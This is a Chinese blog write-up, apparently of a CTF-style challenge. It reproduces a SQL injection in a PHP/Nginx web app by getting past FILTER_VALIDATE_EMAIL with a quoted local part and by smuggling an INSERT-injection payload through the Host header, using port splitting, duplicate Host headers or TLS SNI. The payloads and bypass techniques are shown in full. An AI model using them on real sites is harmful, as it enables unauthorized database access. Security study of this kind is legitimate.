一款LNMP架构Web应用的漏洞复现

目录

0x00代码分析

0x01FILTER_VALIDATE_EMAIL绕过

0x02NginxHost限制绕过

0x03SQL注入


0x00代码分析

框架源码

链接:https://pan.baidu.com/s/1CXYi9i8L7hPmWEtIGBqD_Q?pwd=uzji 
提取码:uzji

过滤函数escape,过滤了单引号,括号,反斜线

function escape(&$arg) {
    if(is_array($arg)) {
        foreach ($arg as &$value) {
            escape($value);
        }
    } else {
        $arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '(', ')'], $arg);
    }
}

全局过滤escape函数,过滤request,post,get,那这仨应该没戏了

escape($_REQUEST);
escape($_POST);
escape($_GET);
$controller_name = $__controller.'Controller';
$action_name = 'action'.$__action;

看到这个email拼接,SQL注入应该有戏

$email = arg('email');
            if (empty($email)) {
                $email = $username . '@' . arg('HTTP_HOST');
            }

if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
                $this->error('Email error.');
            }

$ret = $user->create([
                'username' => $username,
                'password' => md5($password),
                'email' => $email

如果email为空,email变量就由username+@+HTTP_HOST组成,这两个变量我们都可控

但是还有一个PHP自带的FILTER_VALIDATE_EMAIL过滤

如果我们成功绕过这个过滤,那就可以闭合单引号让SQL报错

0x01FILTER_VALIDATE_EMAIL绕过

RFC 3696规定,邮箱地址分为local part和domain part两部分。local part中包含特殊字符,需要如下处理:

  1. 将特殊字符用\转义,如Joe\'[email protected]

  2. 或将local part包裹在双引号中,如"Joe'Blow"@example.com

  3. local part长度不超过64个字符

虽然PHP没有完全按照RFC 3696进行检测,但支持上述第2种写法。所以,我们可以利用之绕过FILTER_VALIDATE_EMAIL的检测。

<?php
$email='"x@aaa\'"@qq.com';
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    echo 'Email error.';
}else{
    echo 'right';
}
?>

这种绕过方式是可行的 

 

 但是local part长度不能超过64个字符

<?php
$email="\"y@'),('tb',md5(123456),(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))#\"@qq.com";
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    echo 'Email error.';
}else{
    echo 'right';
}
?>

 0x02NginxHost限制绕过

依照刚刚的想法,抓包发送

 发现报404,分析下

如果服务器上配置了虚拟主机,那当http请求来到Nginx时,Nginx会依据请求头中的host字段来判断该请求应该由哪一个虚拟主机来解析,也就是转到哪个根目录下

如下,如果host为myweb.com,那就会转到html/site/web这个目录下

 所以我们修改了host后,Nginx找不到虚拟主机的根目录,就会转到默认配置下,而默认配置中没有/main/register这个目录,所以就显示了404not found

这个问题有三种绕过方式:

1.Nginx在处理Host的时候,会将Host用冒号分割成hostname和port,port部分被丢弃。

所以,我们可以设置Host的值为  myweb.com:aaa'"@qq.com ,这样就能访问到目标Server块:

成功闭合单引号,存在SQL注入

2.当我们传入两个Host头的时候,Nginx将以第一个为准,而PHP-FPM将以第二个为准。

这样就完美解决了我们的问题,既能让Nginx找到对应的server块,又能让我们的payload传入后端

但此绕过方法需要Nginx在1.20版本以下

 

 3.利用https的SNI字段来让Nginx找到对应的server块

那什么是SNI(Server Name Indication)呢

早期的SSLv2根据经典的公钥基础设施PKI(Public Key Infrastructure)设计,默认一台服务器(或者说一个IP)只会提供一个服务,所以在SSL握手时,服务器端可以确信客户端申请的是哪张证书。

    但是让人万万没有想到的是,虚拟主机大力发展起来了,这就造成了一个IP会对应多个域名的情况。解决办法有一些,例如申请泛域名证书,对所有*.yourdomain.com的域名都可以认证,但如果你还有一个yourdomain.net的域名,那就不行了。

    在HTTP协议中,请求的域名作为主机头(Host)放在HTTP Header中,所以服务器端知道应该把请求引向哪个域名,但是早期的SSL做不到这一点,因为在SSL握手的过程中,根本不会有Host的信息,所以服务器端通常返回的是配置中的第一个可用证书。因而一些较老的环境,可能会产生多域名分别配好了证书,但返回的始终是同一个。

    既然问题的原因是在SSL握手时缺少主机头信息,那么补上就是了。

    SNI(Server Name Indication)定义在RFC 4366,是一项用于改善SSL/TLS的技术,在SSLv3/TLSv1中被启用。它允许客户端在发起SSL握手请求时(具体说来,是客户端发出SSL请求中的ClientHello阶段),就提交请求的Host信息,使得服务器能够切换到正确的域并返回相应的证书。

    要使用SNI,需要客户端和服务器端同时满足条件,幸好对于现代浏览器来说,大部分都支持SSLv3/TLSv1,所以都可以享受SNI带来的便利。

所以综上,在https中,ssl可以提前发送Host字段让Nginx识别到正确的域,返回正确的证书

在bp右上角的target旁边可以修改Host信息,让其包含在ClientHello中

 

所以请求头里的host字段我们便可以修改成我们的payload了

 0x03SQL注入

按照上面的方法我们成功触发了SQL的报错信息,那就再继续构造SQL注入的语句

这个SQL注入是insert语句注入,并且注意是有字符限制的,超过就会触发email error错误

原insert语句:

insert into users (username,password,email) values('$username','$password','$email');

我们现在的payload传入后变为:

"x@aaa'"@qq.com

既然单引号可以闭合,那我们就可以闭合values,在后面再添加一个values值

values('$username','$password', ' "x@') , ('flag','md5(123456)',(select(flag)from(flags)));#" @qq.com')

email变量由username+@+HTTP_HOST组成

这里  username="x

          +@+

          host=') , ('flag','md5(123456)',(select(flag)from(flags)));#" @qq.com

 成功注册,登录我们刚刚输入的用户名和密码,拿到flag

猜你喜欢

转载自blog.csdn.net/CQ17743254852/article/details/132208095
今日推荐